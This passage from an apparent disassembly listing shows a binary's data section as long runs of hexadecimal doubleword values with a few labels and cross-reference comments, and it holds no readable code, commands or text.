4CF5A256h, 612E6E1h, 0BA0E8C42h, 0E4F0519Ah dd 31151178h, 808EBABh, 40E6F6AAh, 0EAE1D88Bh, 9601B701h dd 0F1D54F3Eh, 416AB03Bh, 20F22914h, 927200A0h, 7085E21Eh dd 5844077Eh, 0B0DE8A09h, 3C3D9CAEh, 308DC700h, 0B2D16294h dd 10D8AA12h, 127E7D04h, 21E0592Ch, 0C4F4EB38h, 0A0A0201Fh dd 0BD01CD65h, 17A3ECD3h, 9F217A5Eh, 994BE010h, 6D8C00E8h dd 8A46856Eh, 6A49B061h, 12B70E7Ch, 8784801Ch, 0E0AE05h dd 82EB3CE3h, 2A96D117h, 80201449h, 34D7BFA5h, 1A3A246Fh dd 7BC98278h, 0C890F4CAh, 3018414Dh, 32106CC0h, 0FC43525Ah dd 0EB52F906h, 7B0ED997h, 0E1BDA21Dh, 0B13F2370h, 0DE8F5081h dd 0D8362F41h, 990C0A39h, 102D149Eh, 2FCFA15h, 32822792h dd 3098AB81h, 0B1CA21DCh, 3F8748B9h, 0ABD0BA30h, 12576079h dd 11DB5Bh, 71E1518h, 0C302EACh, 0D8323833h, 0A0DB00B1h dd 0DD088F65h, 0FBF02CF9h, 1C26E38h, 1BCC96E4h, 0C9ED6D68h dd 8384719Fh, 7936F9D2h, 6B20C3F0h, 3BBBB600h, 8D4BFFB5h dd 906A0925h, 480E31F2h, 210D8480h, 4902B7DFh, 35D87536h dd 0F08A5Fh, 1530435Ah, 0CEDE948h, 3008A3EDh, 0A4B14D40h dd 2C284845h, 0C007191Dh, 89A3F01Dh, 0ABFA4BB9h, 1BE819C4h dd 0AB59823h, 900C5C18h, 0AB94C5E0h, 2C182086h, 1F2CCDE1h dd 16180AE7h, 0C7540A18h, 0A1900A0Ch, 0D2300818h, 81A78442h dd 936AE30Ch, 0CBC6195h, 0AE235A08h, 1DA321B8h, 49FE980Dh dd 3CA018F4h, 0CA0AFC4h, 0EF44EA78h, 9421FFD7h, 0FD6C1888h dd 30DB4D02h, 0A02C6216h, 4424A0CCh, 0D9C92634h, 9C0A0110h dd 659AC271h, 3BCB6058h, 3300A491h, 65167A5Dh, 3C5F0598h dd 40806925h, 2F3561C4h, 0CB73F5CFh, 0B60BFC98h, 2431B7h dd 0FE8F725Ah, 0F6ECB3h, 19D0E9F5h, 0A0A5BB9Dh, 90043B0Eh dd 440F93B4h, 6BE70189h, 0C6DEF199h, 672B0008h, 0FDDFCA7Ch dd 0FF0E2521h, 80F5F80Ch, 3A4E9A0Bh, 2FB78B7h, 63380A82h dd 0F84033CEh, 3D0FD31Ch, 0A0CCD49Dh, 38CE994h, 3F0F0074h dd 2632D896h, 2C26E651h, 0D4002B1Eh, 9E9C05F3h, 269F61Ch dd 8FAE023Eh, 1CB36ED5h, 1EE7C2h, 712AA627h, 4502E78Dh dd 6778EF00h, 0AFCDC7ECh, 89CB3D83h, 4F7701FDh, 3D36580Ah dd 0E1D08018h, 0B25B638Bh, 34951C1Dh, 4A2404AFh, 0C7C0C3E7h dd 28070B83h, 5DEDE00Dh, 0AA0582A4h, 558A0001h, 1EDEF989h dd 33142974h, 0C15C989Bh, 0CD62434Dh, 1E313830h, 383C46h dd 5CEA17Ah, 0B13EFDE3h, 5A1B80B0h, 0FB119BD0h, 78350004h dd 59D76689h, 0E26026BBh, 0BFF7A388h, 0ADE10031h, 42A27FC3h dd 0FF034486h, 0BD5A3420h, 0AF2800FDh, 0A4589FC5h, 7F00BEDDh dd 0FE93B8B3h, 52D0ED0Ch, 0E1E158F8h, 18C51A2Ch, 0B14C2CA7h dd 68D0F400h, 0A42DE9A3h, 431E0227h, 1158FC06h, 0E87FB480h dd 5D24A9ECh, 0FF023089h, 81CBD052h, 0BA9B05C4h, 546FC4F8h dd 1F7FCCE7h, 40908FEDh, 35955D41h, 1E0076FDh, 0D3588755h dd 0E85B065Eh, 0C30C0716h, 0D0113CFCh, 314DDE09h, 7460C924h dd 0E64D5CD8h, 0BC5B00C9h, 7937F90Ah, 0DE2AE6ADh, 7500C802h dd 0F5CEED7h, 0EC2A3F73h, 1C933D7Eh, 59BCB900h, 0BDA9D406h dd 0FBD7E61Fh, 0AB527700h, 0B87EC8E4h, 0DD1007A1h, 0B03A326Bh dd 0FE879386h, 68B5E201h, 3329FDF0h, 1C8ABFCCh, 0C04526BEh dd 101A59E1h, 0DC0CB937h, 58BA5FB4h, 0CE0C0092h, 1F8BAE9Bh dd 0D4F12546h, 0A3F81D0Eh, 1B9D4E00h, 0C66439F1h, 71843CF5h dd 4C396h, 8DB3AFE5h, 44AF6AA1h, 0A8F916E1h, 92048040h dd 15F303B8h, 5B50653h, 0ADC5F1A8h, 5F3EE703h, 88C881B3h dd 77BFE8h, 0DBB9C16Ch, 52F1D7CEh, 0F91A7000h, 86D6CFD2h dd 440B9F0Ch, 0F7EF9700h, 3A0EED71h, 0C07011DAh, 37657C95h dd 0BD910001h, 48A30E1Fh, 0F1F0FD27h, 17750200h, 0C5EEFBC2h dd 52A074Bh, 779FD19Eh dd 8006E78Eh, 0C24E896Bh, 0A75D4400h, 790C4276h, 3EB300CEh dd 2217F0D5h, 0E3034F73h, 84E75C58h, 0A934D8D1h, 0AEBE0068h dd 9AB2E1DDh, 0C81D0793h, 5C8085F4h, 26F1C2F0h, 0BAB600D1h dd 3D3F331Ah, 23007BAEh, 0AC0E1DCDh, 0E66924h, 3C88A4F4h dd 0BEE89D51h, 47AB5617h, 94D85300h, 1D29CCC5h, 9655CEh dd 18AE1FB6h, 0D90070DBh, 0D51773C7h, 74EAF206h, 2A451F79h dd 185E8CDh, 72920A77h, 2046E132h, 5D005063h, 0FA199368h dd 8F3621h, 0DB69A6ACh, 13A76745h, 7B59438h, 6F493055h dd 0F2359AC0h, 275C00FBh, 5F814BDDh, 67005422h, 42F773CAh dd 19A5193h, 0A5F01149h, 0C4FBD6C1h, 2200AA4Eh, 76727D23h dd 7420EF94h, 0FA1600AEh, 0BB11891Fh, 28032C95h, 0D4F3FED2h dd 0B7E0E87Ch, 93B6004Ah, 0BD05199h, 0A900EAF7h, 2B8B3F05h dd 3F96AAB4h, 23803179h, 0C9662997h, 99778694h, 0F0056731h dd 0C8880A76h, 6C00519Ah, 0DF95A1CEh, 1A1B862h, 0D61E107h dd 4BA0E2A8h, 0AD9A0E80h, 0BC443449h, 71D230CAh, 0FF29878h dd 0E0285932h, 93C4B0C4h, 3890A4CEh, 1D0C64B7h, 923856C6h dd 1648961Eh, 116BBE0Ch, 915E084Bh, 8A82772Fh, 1018944Ch dd 7F11B1E3h, 0DB0473C8h, 40618013h, 91AEE5F1h, 99A70072h dd 6BA247Ah, 9007A6C3h, 0AB67148Eh, 41FC2D70h, 0BB1B0952h dd 3003382Ch, 77887D0Eh, 607DDD5h, 0BF99667Ah, 8622EDE0h dd 3CFA41h, 0B834BB76h, 1F6678E1h, 1F80583Bh, 0D540CAC0h dd 6090E0Ah, 0DE2F006Fh, 5FC7EDB1h, 453B4F5Ah, 0F55BDE9h dd 0A06874ACh, 0B80D12C0h, 0AD2009Ch, 52984063h, 624F090Bh dd 66DEA00Fh, 2048A8CBh, 2BFEEAA6h, 0F75BDC06h, 38CFF5h dd 7F697477h, 0BC1C9C40h, 0AFBB710Fh, 26D2EE50h, 260B7A6h dd 0D37DBA7Fh, 6B60A4A0h, 0E9E6106Bh, 536ADA00h, 967B6D45h dd 0B23B0CD2h, 0D5580B28h, 8E8C1A03h, 0E8E38D1Dh, 855625h dd 0D1125476h, 503E3FA0h, 304F300h, 0F8E31963h, 0C4450505h dd 707109h, 9C3C2F88h, 16788135h, 9ADD5800h, 48984BE7h dd 133800D4h, 0D715592h, 3779FDCBh, 0BC8A761Bh, 0F658DB81h dd 7675F048h, 30190053h, 2DAB64FAh, 0CA033729h, 0C8A08D69h dd 53609F50h, 7F6CE7h, 0ABB9C45Ah, 108FF78h, 89FC50C6h dd 54D0059h, 395E1E62h, 0CB023D95h, 60DA525Bh, 0C5E4879Eh dd 4D64AFA0h, 16F10CB8h, 7718B548h, 2151171Ch, 0CED4F801h dd 50ECBC59h, 0E0C100B7h, 6F0E0D78h, 7A00029Ah, 0A56CB23Dh dd 7B6AABh, 0FE132408h, 0B498732Dh, 0B10075ECh, 2B8D6235h dd 0EC8AAA9h, 0B301C1E2h, 20DC999Eh, 5F8CF038h, 3FC3CE0Fh dd 286067EDh, 0A55C6590h, 0DA3C0386h, 104BE677h, 922E3000h dd 5472885Bh, 8662009Dh, 0A8137DECh, 0B10570C5h, 99172DF7h dd 20264040h, 438AA916h, 8E5000AEh, 0AC84B176h, 3BFF88Ch dd 0F8A67D78h, 55E07A32h, 622DAF2Dh, 370AE0AAh, 0E2920C61h dd 861832FFh, 7DEF20h, 1D4975C1h, 42FAAEDFh, 8478CE2Ah dd 121E0898h, 300437Eh, 0C052D735h, 926D2D2Fh, 320089F8h dd 0D4DBAA8Ch, 60AB1Eh, 94C45BBCh, 1A69A480h, 0B21D7A01h dd 0D7C6EB02h, 0C7FBD0h, 0D8FF9411h, 0C6D99EDh, 9868DA00h dd 0ADF7509Dh, 7EA41D47h, 640F00D7h, 0B35C1208h, 0DD00057Dh dd 0DC03E3ACh, 0C62437h, 2CDF01F2h, 0F34F96ABh, 802B9000h dd 6CA27B93h, 452A0E05h, 3EC4021Fh, 7C378097h, 9F00081Ah dd 40EDDCE7h, 1C32A180h, 81100427h, 0FD53A578h, 1EB1E074h dd 0EC3F6D02h, 7C2FD4A6h, 4F03008Fh, 0BE90FBB8h, 910FCA98h dd 0A0D58E3Dh, 89FAD46Bh, 0CB2E04D3h, 0C09BF89Eh, 9F4675ECh dd 0C112D5Ch, 4ABB6276h, 67F701A4h, 0C067B01h, 242AECAFh dd 18AAB330h, 38D5D06Ch, 19815F37h, 2C7FE7FEh, 844CC74h dd 6636F700h, 101FF095h, 78CD0116h, 7BFAFC60h, 7A37C8F4h dd 39012200h, 94F39BAAh, 0D8A4604Ah, 0DC81889h, 0B5345003h dd 0E8560463h, 13B135Ah, 696DD6B9h, 0C87FBC7Eh, 0E7F024EBh dd 0D5F2E500h, 834E7B43h, 1F0E8E0h, 2152F411h, 0DCA8551Ch dd 1900448Dh, 0BB23C00Ah, 0CA82A0h, 42C4D51Fh, 5154D60Bh dd 808A8D00h, 26B7675Eh, 0E871B6h, 713AF3D2h, 27893F43h dd 0D320CD00h, 9315F937h, 0FA7B07BCh, 8B97BE8Fh, 3B8B9080h dd 0A8010C89h, 0EC3CAF8Dh, 20309126h, 0C59C008Fh, 66DAC9C2h dd 0A501C09Bh, 4056E62Fh, 0A6706A2Dh, 0C1D200C6h, 28A7C5CFh dd 0B00156Fh, 0EE9D88F9h, 7CF640h, 96D04F95h, 8F5B1F9Bh dd 5E560207h, 0A8E07808h, 67E2EDh, 528D0F2Dh, 49BF80EEh dd 9A1A517Ch, 551826D9h, 0E1D7DEE1h, 0F810804Eh, 466C31A0h dd 55F0E525h, 0E5510098h, 9F5EA582h, 31585D0Ah, 0A20B00BCh dd 718B1AE8h, 7D5A12CAh, 0F73600A1h, 61238611h, 0AFA80407h dd 260575Eh, 0C3F66Eh, 9F603C28h, 0DFE410B6h, 41BC2606h dd 1028FCD9h, 6DAE5Dh, 18159E4Ah, 88E6F4B7h, 0E240C9FBh dd 0D0B04429h, 50C76BF2h, 14F88F48h, 653E3C09h, 59828E0h dd 0E0E8FF3Eh, 0F204BFFCh, 60C2D59Bh, 0E1035FC4h, 0D7FBCB39h dd 93DC4F0h, 53590026h, 7E8304F2h, 0E1009534h, 737CBD8Ah dd 0E27AD8Fh, 47ED76C8h, 0D0446600h, 0B118D67Ah, 0E3188A81h dd 5FF01EE7h, 9DCF805Ch, 0A4CB80ACh, 2E720300h, 121FEEC9h dd 43F03BC6h, 5D86AE80h, 3FB3CBA3h, 0B4F81001h, 90BCFDA1h dd 7CFBC4h, 402DC05h, 0DF49C5BDh, 0CDA0A500h, 0A3FBAACh dd 26B80065h, 42D0EDD2h, 7F300FB6h, 3A0310E9h, 1DA01EFDh dd 5F80BF59h, 23814B04h, 741C276Fh, 9447C6DCh, 4CB075B1h dd 7FAC1AA5h, 39920244h, 0E53ED11h, 6D22E583h, 788C0C0h dd 20059A00h, 8F3877ADh, 57BA0064h, 0F8EC3114h, 8000A6C4h dd 180BF6FBh, 0C6613Eh, 0F32EB73Dh, 5F59012Ch, 3C8C6700h dd 18E4C231h, 2A020075h, 2380F13Dh, 4D3B4321h, 6850806Bh dd 402B4796h, 0F0F50022h, 0B77EF49Dh, 6B00ABE4h, 849E0891h dd 249F20h, 9AF85B52h, 0BD67EF83h, 0B0AD7B39h, 6F173445h dd 6BA7D0Ch, 28853414h, 983E1070h, 1DF8014Fh, 10CCCDA9h dd 11819E8h, 0CBE920FFh, 3B0EFDF5h, 85140480h, 974D3EADh dd 83F1B180h, 0B763ACE6h, 27502A00h, 1F777519h, 3E440035h dd 3F5C8851h, 240ED054h, 0FED1FD9Bh, 6DC38FC0h, 78CE352Dh dd 716600B0h, 24EE1423h, 30F1FCDCh, 2E588ACBh, 80D00094h dd 0BF9F751Ch, 4373BBh, 0C012CBE3h, 6D1D085Bh, 722A4B00h dd 48302377h, 26C80061h, 9FBC15F5h, 33749618h, 8D273Bh dd 44CC7990h, 3729720h, 618C8906h, 0AE905E21h, 25001A4Fh dd 6FF4E0C5h, 1EE3031h, 272FB9F8h, 7167AFC9h, 0EDE9D0D5h dd 0FC008E76h, 0FD5CFEC3h, 0E2D156Dh, 9238EFBEh, 0E4A3A8C0h dd 0B707092Eh, 0ED432936h, 0C9A47950h, 259E0018h, 68BA21FCh dd 0D700DAA5h, 7E0706B2h, 0BEF03Bh, 0CB4318E2h, 854D0DCDh dd 80667738h, 45231FF8h, 0F47728Dh, 2C86E9Eh, 3F1ADC00h dd 2E003ACEh, 0FCFFE673h, 0EA4E86AFh, 21F79AEh, 383F08E5h dd 78E0EF6Dh, 50083C0h, 19A553D4h, 0EBF062h, 87B51C18h dd 0D822E99Dh, 4B520D07h, 0F370A3EEh, 916B6DFFh, 76130894h dd 0E3118F80h, 0BA16B5h, 0F94ACF5Dh, 36CD2E05h, 2203CA7Ah dd 46FE26E6h, 578190D9h, 19E0FCFCh, 9E2EC733h, 3577D843h dd 0A5041400h, 2C632613h dword_52F848 dd 0C5A200A3h, 404E0F5Dh, 4226342Eh, 0FA00F199h, 841AFE21h dd 18E33D1Dh, 773C0902h, 0C58059EAh, 4E36BC6Ah, 3E8B3402h dd 0C0170BC9h, 0E2B237h, 234481C3h, 0F7E9AC8Dh, 0E8B35E00h dd 0A416A8EEh, 49970065h, 5A3C8A98h, 9400AFE6h, 73C86791h dd 1490DAh, 66DD8D60h, 0E10ED9EBh, 38845800h, 5FE51C07h dd 436B3B1Bh, 2F7D1900h, 0E4D3EDF8h, 0AF12270Bh, 58E607B1h dd 3AB77520h, 7B93DEEh, 0CC1B3380h, 0E68C8A16h, 9F0024F4h dd 0A16B19F4h, 7343914h, 3AF87517h, 91FF70C8h, 2E00366Ah dd 2A3D651Ah, 36B17C2h, 0B08697Dh, 2BB87328h, 7019438h dd 0C32D0AD3h, 7E60FFE8h, 1710781Dh, 79A05D5h, 21A36796h dd 0C896D9CAh, 25B849A7h, 4DD09F0Fh, 7364006Fh, 0B586A267h dd 0FB22C860h, 0B2136C00h, 0D8CE050Eh, 0E04707D9h, 20A0C91Bh dd 33F2C582h, 3F6F0100h, 846C43BCh, 72BD1F5Eh, 9256C07Fh dd 0AA0D46DBh, 0FF9183Ch, 201C3B9Ah, 0FC979F27h, 649117F5h dd 201700DBh, 54FF93DEh, 422E3400h, 83C86FEDh, 68F00CCh dd 0D1BD2AE6h, 35EEAD01h, 809D843Dh, 8CD23DF0h, 73A32F82h dd 91043A07h, 15EA85Bh, 0B5B387B6h, 0EFC6FF9h, 7B863BCFh dd 429E0078h, 4437BF77h, 5890A575h, 43FD0801h, 9FA2A648h dd 2A0B4C0h, 0FBE1AA14h, 41DEE9h, 0EB8F7043h, 21696700h dd 754A97A8h, 6290014Fh, 0E78D0AD9h, 298FCCDEh, 18D7CA00h dd 6E6B0DA7h, 0F08FE64h, 0AD5CC976h, 3A356F02h, 0BBE2DCA1h dd 7C68F063h, 0A0F4FF00h, 10E6D40Bh, 2EF700DBh, 90F5A595h dd 397872A2h, 8091143Eh, 0A452B4A0h, 7AA6605h, 48682CE4h dd 7FD53065h, 810045C1h, 124C3FF4h, 4CEED0B9h, 0C0146D3h dd 73F1025Fh, 8A697090h, 1A3D2B7Fh, 2CCCC6h, 0F959432Ch dd 78E80CBDh, 31D600ABh, 5CEF1561h, 0ED1E6BB9h, 0E601FF12h dd 0CD0568DDh, 3F82C4h, 90B9D3FDh, 50830A99h, 942A6100h dd 0CF83E60h, 328C00D8h, 0BD3DDC5Ah, 0FF9009E3h, 7A82148h dd 5937230Ah, 83DFCF80h, 77F700FFh, 4CD1D53h, 0E03730Bh dd 529DFAA0h, 0D811A049h, 0F2BB0069h, 0B4A325CDh, 7CF83DC0h dd 0A45D520Eh, 0AFD78006h, 0C757ACh, 737BCA3Eh, 46A6B835h dd 0B7060924h, 58CB803Ah, 0BED1C03Dh, 43710392h, 8AB345CFh dd 91E354D0h, 5B073BE4h, 388535A3h, 0EB3946C0h, 0E8D40099h dd 844E4C33h, 4906E71Fh, 89A788E3h, 0D70F220h, 0FCC66C8Ah dd 0F69AE871h, 0BEF81D00h, 0CF706877h, 9E9F07CDh, 0C01CFB10h dd 0AF7B2BC0h, 94293F00h, 0E6310419h, 8D8F072Eh, 40573DBAh dd 0F8263E0Fh, 1745183Ah, 0EFE5C24h, 50C0289Dh, 0CA15682Ah dd 19EAA900h, 2549E7Fh, 0E94EE71h, 33C2BA31h, 8A00BF17h dd 6E6A979Bh, 74ACA0D5h, 0A6B700C9h, 0F00D8FFCh, 9200FF67h dd 129D4A61h, 0D5C70Ah, 8803618h, 0BB037A94h, 0F1E81BE8h dd 85C2EB00h, 0DC6B2DEh, 72E0733h, 30D45AD2h, 9E35FC02h dd 7A45B400h, 0E75B79D5h, 0D7543D0Bh, 0EEABD00h, 0DE5A9962h dd 0D5A16000h, 5C9D5EFBh, 0C3A00237h, 0CD96BA61h, 30D6C987h dd 3507710Ch, 41436702h, 60D59F2Ch, 42B0DFh, 0F5AAB5D8h dd 623F7A3Dh, 81C9F139h, 975EC14Fh, 7FF5BB1Dh, 4C704760h dd 0FF000144h, 5471046Bh, 40003952h, 558BC14Ch, 0CD133Ch dd 15ED6D93h, 68E5E190h, 0EE723Dh, 0C59B3F84h, 902ABA79h dd 0A7FF00C2h, 0CBAD71A8h, 8D009851h, 9363CEC4h, 0AAC3B96h dd 6C13F417h, 0A0EE00DEh, 0BB66D0D3h, 69E43107h, 968056FCh dd 310BAD59h, 6B020D49h, 0DEE0F89Dh, 32FC6300h, 7E8805AAh dd 4EBF0089h, 8AA32E13h, 0B100A0C4h, 941204D2h, 0B6F729h dd 3AB207F4h, 0FCAF0EB9h, 62E6FE07h, 0F5C06A51h, 11DE156h dd 90FF495h, 0C6865F24h, 66890CC0h, 0C9925C00h, 0BD470D40h dd 0A3E0063h, 0E28A6101h, 0B10091B4h, 584C3A08h, 0DE767Bh dd 8F5044C6h, 974437Eh, 86A61000h, 0C2D4733Bh, 5FE7FBFh dd 167795E4h, 0C05C09Eh, 9008E3Dh, 0FA4590B2h, 242012FBh dd 1EA810A9h, 24F44094h, 6FF5D9BCh, 77BDBA00h, 5D62B59h dd 546D0097h, 73F38BE2h, 0C900F6C8h, 7BA4AD74h, 914E955h dd 33375B6Ah, 0F2F15501h, 97B3FC3Fh, 0CD508C18h, 0B95421h dd 139674D5h, 0FAD65FC9h, 6F689807h, 0C6B04A69h, 0E7E636h dd 8CC7798Dh, 78ABEA64h, 0C276E50Eh, 901460D7h, 1F638904h dd 0C02F2C7Ch, 72AC6DD2h, 0C31C02B0h, 0FF43CF1Bh, 0E57E98h dd 0D3B7E16Ah, 325D35BEh, 79A1F100h, 59F4AD1Eh, 40621E6Eh dd 0AC9AC323h, 0CFF8BB18h, 711D6B97h, 24AEE563h, 8E272F00h dd 0E4F5DA6h, 0E0D61D32h, 0C858E320h, 0FA00553Bh, 52D08FE7h dd 0FABA0F1h, 78409D2Eh, 0B20185EFh, 0E2DE90D8h, 0AF953C60h dd 0D1FDFA0Fh, 8C31407Bh, 7F18A767h, 6801DA6h, 138E0ED0h dd 38D93A80h, 0FC16360Ah, 0C801B6F8h, 21B9EBA0h, 10F5E0h dd 40D1345Ah, 366B3DC1h, 984BF02Eh, 0C4EC7400h, 9150F90h dd 32C79E25h, 674E0C87h, 0D68B301Ah, 0CA005C83h, 0CF5326D3h dd 30952F5h, 0DCF7C9A2h, 10FE132Ah, 0C27C3D07h, 9210A587h dd 62C6A1h, 79AD29B9h, 2649A807h, 0FAD1CE00h, 52CB5D8Dh dd 0F269000Dh, 1485270Ch, 0D21F5F9Dh, 0F6C0A7DCh, 0AB28DA5Ch dd 0A38E01B5h, 0EB7FE2A5h, 965F03Ah, 0E9E66D28h, 3F470100h dd 913BB0A0h, 818801BCh, 1E749D9Ah, 0C148C4E2h, 0CB6C4217h dd 314F3000h, 600CEEh, 65E4213Dh, 0B759DDF8h, 2C93D503h dd 0D0C02B86h, 29A71Eh, 0FBA37CE5h, 49BF9DA8h, 96223A03h dd 0A8BB2736h, 0EF1C34h, 74194A50h, 0F4068552h, 0B703CBE6h dd 9B5A0B88h, 71E59815h, 0F1B00E74h, 18404B0Ch, 96782866h dd 3E2C24F2h, 2000387Ch, 170B86D6h, 2490FCh, 3F2D0E14h dd 0EA54D993h, 91B61500h, 2507C1FFh, 40A5009Ch, 6F70AB2Bh dd 58E66ADFh, 77FBF200h, 71866E84h, 5DF630h, 33A4E689h dd 37CF24A5h, 0C0DAD22Ah, 87084C48h, 60CFAEE0h, 858312F3h dd 0CA1116F6h, 0A540001Ah, 0CF322F61h, 0FDF8241Ch, 0A8008464h dd 63460937h, 0C9E900E8h, 0F82BEA9Ch, 1017EA6h, 4138176h dd 0D7F053BAh, 0AC5100C6h, 0CDC8313Bh, 610334DFh, 5BCBC5EBh dd 8CF8D885h, 1220004Ah, 30E2DF4h, 0D500E8B3h, 0A5FAEEB1h dd 7F5FDE8Ah, 913600A3h, 2A2C4601h, 76002F3Dh, 0B3CF8419h dd 434B75h, 5C4793AAh, 0F1019631h, 5F688D16h, 5676E005h dd 17628100h, 0CED614h, 7033511h, 0CD3F96F3h, 1EEFBC00h dd 53B945D3h, 0BD411C78h, 1D835E6Dh, 0F43D42D1h, 4DE0794Ah dd 0AA00A530h, 0E0B6EA27h, 5BAB77h, 264749F9h, 0B14B2BFh dd 390ECF00h, 2B229794h, 455A1312h, 0C5E000A1h, 0C8529A46h dd 0B3145C2Eh, 8AD90E00h, 72EEBFE8h, 0C1190008h, 0E078941Fh dd 1005645h, 0BF181CB7h, 76A6ACCEh, 575C0h, 82E1BE48h dd 9DECEE65h, 0E3B38F02h, 0E34CD97Ah, 6007C807h, 9C590045h dd 0EBAAC266h, 0E0007DA5h, 837CBBB0h, 3486D39h, 0E3AE993h dd 5E00C0D7h, 7BB8E8C6h, 295A726h, 0AA3E850Ch, 5460B3E9h dd 613A62CEh, 422E00EDh, 0A798E14h, 0D4F30045h, 0E8FB5D4Dh dd 4E002FAEh, 56CCFA36h, 4F90FDh, 0C36DCB2Dh, 0C8751774h dd 0E8C65126h, 71C7DC04h, 9CB8C280h, 0E32E00D3h, 354357FCh dd 0A718F372h, 7CD8BFEFh, 2B141F39h, 373245F5h, 0E880EBA9h dd 76DFE4h, 6C630B73h dd 647A2E3h, 7C002373h, 48B865DDh db 6Eh byte_530055 db 0BAh, 40h, 0 ; DATA XREF: ___:off_437A24o ; ___:off_437A3Co dd 0DBD03080h, 290279D2h, 22161300h, 36D5F8DAh, 348F0048h dd 4774F4D3h, 1700F0EBh, 0CF399B44h, 2CE5948Eh, 1D778C83h dd 0C8B5CB27h, 0F73AD600h, 4F3C125Dh, 0A07B0048h, 0CCC9C3F4h dd 0E82530BDh, 0B038BCDEh, 0AB790C7Bh, 801C0138h, 0C3786855h dd 6520F0h, 912AE5D2h, 6A922771h, 0C44D580Fh, 0F43FA09Ch dd 0C91E87h, 812688F2h, 3301BED8h, 98DFAB00h, 966CFFA9h dd 318EC10h, 0C863D97Dh, 0CD903997h, 0A809D713h, 75EA7A17h dd 3DCBF500h, 11F07775h, 0F942B913h, 4E80211Eh, 0AFE4F3E3h dd 84B0068h, 610EA4B4h, 0CF00BD3Bh, 0FB86FEA8h, 39DDDC95h dd 83009807h, 4DACDBC6h, 0C80EF7D5h, 804C1ABFh, 0C129B1BDh dd 2C8E1ED7h, 3DC500CDh, 0C3584A93h, 3900B6ECh, 0F01C8B8h dd 287B745Ch, 98BC6Fh, 0D2DA92B9h, 91D46E0Bh, 0C860727Ch dd 22BF87F8h, 0B59E001Ah, 7FEDCF93h, 0EC03CB10h, 1D691709h dd 0A385A0D3h, 39961E88h, 15980028h, 1A37F35Fh, 21301D98h dd 8EB86CC1h, 2E93765Ch, 0E28B59h, 8C505BB6h, 0B9009D1Ah dd 0F5752DF6h, 0F736328h, 33B08D09h, 0B0764Ah, 5732EDC1h dd 10065C0Eh, 592BF928h, 0A5C700D8h, 54E883D9h, 0DD00985Fh dd 9D6BF041h, 0CDD814h, 740AC973h, 0B491DFA9h, 5E3980F7h dd 0FE4C22D6h, 0ABC1657h, 165100A8h, 8BC07350h, 0B767EF00h dd 0A6960DDFh, 7C591889h, 56AF089Dh, 4B88DC00h, 0AD5FF37Bh dd 0F2C6007Eh, 7C679E1Dh, 9600623Ah, 4FA9FB71h, 3C510355h dd 590084A3h, 0F0CF75FAh, 717D1797h, 0D826EA00h, 0B6F940E4h dd 6567002Eh, 0E8F549B3h, 0F41E30C4h, 1B00FF23h, 7986A047h dd 0E48A07C0h, 908F2FF5h, 88DE66F8h, 92E1FF16h, 0B8C12300h dd 73FEE5C2h, 183C07EFh, 4E2BAB4Bh, 29A8E6C0h, 267CDA31h dd 0C9644700h, 930D4914h, 703307CAh, 0C01D067Bh, 0DC1B4F4Ch dd 5DDF226h, 94975603h, 808CDA16h, 2F59E6F5h, 0CB7407DEh dd 777CBE18h, 0B8C05058h, 0F77C0FB5h, 80959B38h, 615F8EA2h dd 7B3F2402h, 1683002Dh, 0B298211h, 5930EAD0h, 0DA102060h dd 0EFA50063h, 79D418C3h, 0D101B49Dh, 0DF85C427h, 28806F22h dd 1FAFFB0Fh, 0E0010B75h, 2106CF7Bh, 0C9C4B450h, 95100025h dd 0EB67C0ACh, 3F005B0Bh, 0A2E441FCh, 0D58994h, 52BAFE3Ch dd 49165C48h, 79B25A00h, 0A7E18C2Fh, 174E3F3Eh, 980D9A00h dd 7E96898Eh, 63948D07h, 5C406A49h, 187AEB7h, 9D1CDE02h dd 0E80B0805h, 4F0122D0h, 0BFF0046Fh, 0CF302B10h, 26DB01CCh dd 9508B5C1h, 96ABD8A5h, 46CA1900h, 4D91A2C7h, 7041602Eh dd 0EA10737Ch, 844548h, 0E550F723h, 125C60Eh, 6BA7FFC0h dd 802C6C90h, 11C3AE31h, 3C4096A9h, 1F806E91h, 0F8FBB63Fh dd 4D027858h, 758B5798h, 7DCD605Dh, 8D605C4Eh, 0EAD78500h dd 533866Dh, 0C099B300h, 891711B1h, 987500CDh, 0C29746C7h dd 1B600920h, 0F5333270h, 5ABF0039h, 970D9B86h, 0E40E5679h dd 0A0074274h, 9C08138Eh, 336800B8h, 50F5A418h, 2A3E2B21h dd 8729004Ch, 0A2310FF6h, 0F435383Eh, 88C69380h, 0FFAE2173h dd 0AA830116h, 0C24FD71Eh, 48A44045h, 0E6D6EE07h, 52510096h dd 0A0E7E2F0h, 0B47446BDh, 7D683900h, 8AD10EEBh, 70361C4Fh dd 9C65C0BCh, 2317BD07h, 3D33DC98h, 0F3FB3255h, 0E38EB09Bh dd 772A005Ah, 734B90B5h, 0E5EE331Bh, 8A079900h, 82539C1h dd 9CA1055Ch, 402D1901h, 0C54FF7BCh, 4500AA77h, 0CDB069C0h dd 9206649Bh, 0F4EE001Ch, 0ADBEC38Bh, 100A955h, 1885ABE9h dd 1F67CB46h, 408B1A2Fh, 9B1D9F64h, 0BD2AF198h, 6D07B4D1h dd 0B22CB490h, 33600BB0h, 9F08C9DBh, 7F941420h, 0D0F1D6E5h dd 0D1DFB1Fh, 7C4E8740h, 0FF3CA398h, 9B34D052h, 68F0C7Bh dd 97B92F6Bh, 3168BBE2h, 0A200E828h, 2F6A1343h, 8CC70AFBh dd 80EC6C15h, 678D2060h, 7C0E0FDDh, 0C0A92592h, 7E73788Ch dd 2E60063h, 4DB8BC83h, 0F6076897h, 0D565EBC8h, 729E48E0h dd 917A0020h, 0C1C3062h, 807E0D55h, 0D117A400h, 1EFBE081h dd 0B9720EE7h, 1580E80Eh, 0A9A49CAFh, 4CBC6B00h, 0F71D2941h dd 4A1C58EBh, 0B9953000h, 0A0DA9B62h, 0CCCB1200h, 0C27F867Eh dd 0ADD03D61h, 0CE56B500h, 962754D2h, 0B15AAB01h, 1D350177h dd 37057E8h, 449FB61Ch, 39C84DE3h, 1F00FFB5h, 1D872C5Dh dd 1E3862E7h, 4031753Ah, 0A5FE9C7Ah, 0C005FE4h, 0EA30ED72h dd 0F5D591h, 79CEB6D8h, 83752E9Ah, 34B0C00h, 0D188A47h dd 333007EFh, 0A3ECE523h, 18004910h, 9D4E75Ah, 0E7F709Ch dd 41A922D1h, 4E0E6667h, 0A8F6D260h, 735CF786h, 6AF41CF2h dd 50BBF40h, 71472145h, 16E518AAh, 36D6405Ah, 0FD18431Ah dd 14041760h, 446186Fh, 0FAE0C3BAh, 0CE48E870h, 